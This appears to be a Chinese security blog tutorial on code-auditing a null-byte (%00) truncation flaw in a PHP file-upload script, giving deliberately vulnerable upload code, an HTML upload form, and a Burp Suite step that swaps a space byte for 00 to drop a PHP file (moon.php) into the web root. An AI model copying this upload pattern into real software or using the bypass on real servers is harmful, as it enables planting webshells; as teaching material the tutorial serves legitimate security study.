作者:mOon 博客 www.moonsec.com
话说博客很久都没更新了,在忙着做代码审计教程,现在做完了。我们来更新博客把。
最近看到几个案例都是挺好玩的。
今天我们先写第个把,截断上传漏洞,这种漏洞黑盒测试比较难发现的,白盒测试就简单多了。其实也不简单,首先要懂原理,这个是必须的,其次是方法。
首先我们来写一份存在截断上传的漏洞代码:
<?php if(isset($_FILES)){ $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp'); $file_ext = substr($_FILES['Filedata']['name'],strrpos($_FILES['Filedata']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $tempFile = $_FILES['Filedata']['tmp_name']; $targetPath = $_SERVER['DOCUMENT_ROOT']."/".$_REQUEST['file'].rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($tempFile,$targetPath)){ echo $targetPath; }else{ exit("上传失败"); } }else{ exit("上传失败"); } } ?>
你们看到,这段代码既熟悉又陌生。$file_ext 限制了成了上传的类型,我们只能上传
array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp'); 这类文件。后缀也是限制。所以上传文件名我们是不可控的。但是我们发现这段代码中,还有一个 $_REQUEST['file']是可控的。在iis6.0中我们可以采用解析漏洞。但是我们这里不考虑这种情况,因为现在的waf基本都是拦截这类解析漏洞。 既然是可控,我们可以自由发挥。 我们来截断把 ,首先我来解析第一种截断方法%00这种方法既简单,又省时。 既然是上传我们需要一个上传表单。
<form action="http://192.168.1.103/upload.php" method="post" enctype="multipart/form-data" > <input type="file" name="Filedata""> <input type="submit" value="Upload"> </form>
用burpsuite 在requset params 抓取包修改空格20修改成00
成功之后。在网站跟目录成功出现一个moon.php
一个案例我们已经搞定。有时间再写另外的截断方法把。
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论